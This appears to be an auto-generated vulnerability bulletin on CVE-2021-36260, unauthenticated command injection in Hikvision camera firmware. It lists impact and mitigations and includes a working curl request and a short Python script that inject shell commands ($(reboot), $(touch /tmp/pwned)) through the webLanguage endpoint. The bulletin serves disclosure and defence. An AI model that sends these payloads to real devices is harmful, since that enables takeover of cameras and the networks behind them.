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CVE-2021-36260 is a critical remote code execution vulnerability.
It affects the web server component of Hikvision devices.
The flaw originates from improper input validation mechanisms.
Attackers send malicious payloads via HTTP PUT requests.
Unsanitized input is passed directly to system shells.
This enables unauthenticated remote command injection execution.
No user interaction or credentials are required beforehand.
The vulnerable webLanguage endpoint processes XML parameters insecurely.
Special shell metacharacters bypass validation filters completely.
Execution occurs with root privileges on the device.
Attackers can achieve complete system compromise instantly.
The bug allows reading sensitive configuration and credentials.
Firmware integrity can be permanently modified or destroyed.
Compromised devices act as entry points for lateral movement.
Attackers can install persistent backdoors and malware payloads.
Botnets frequently scan and enlist vulnerable camera units.
The vulnerability affects numerous IP camera models globally.
Public exploit scripts became widely available shortly after disclosure.
CISA added this specific flaw to the KEV catalog.
Network exposure on the public internet escalates risk.
Vendors issued emergency firmware patches to remediate exposure.
Administrators must isolate IoT management interfaces from WAN.
Monitoring abnormal HTTP traffic helps detect exploit attempts.
Proper firewall configurations block unauthorized remote access vectors.
Security audits are essential for discovering legacy firmwares.
Automated scanners actively probe for unpatched device endpoints.
Failing to update leaves devices exposed to botnets.
Root-level access grants total control over hardware peripherals.
Network defenders prioritize patching this critical software flaw.
DailyCVE Form:
Platform: Hikvision IP Cameras
Version: Legacy Firmware Versions
Vulnerability : Command Injection
Severity : Critical Risk
date : September 2021
Prediction : October Patch
What Undercode Say:
Bash commands and codes:
curl -k -X PUT "http://<target_ip>/SDK/webLanguage" -d '<language>$(reboot)</language>'
Exploit: (Educational Purposes!)
import requests
import urllib3
urllib3.disable_warnings()
url = "http://target_ip/SDK/webLanguage"
headers = {"Content-Type": "application/xml"}
payload = '<?xml version="1.0" encoding="UTF-8"?><language>$(touch /tmp/pwned)</language>'
response = requests.put(url, headers=headers, data=payload, verify=False)
print(response.status_code)
Protection: from this CVE
Update firmware to patched versions provided by the vendor.
Disable remote management access from the public internet.
Implement strong network segmentation and firewalls around IoT devices.
Impact:
Complete remote system compromise and root shell access.
Execution of arbitrary code and firmware tampering.
Lateral movement into internal enterprise or home networks.
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Sources:
Reported By: github.com
Extra Source Hub:
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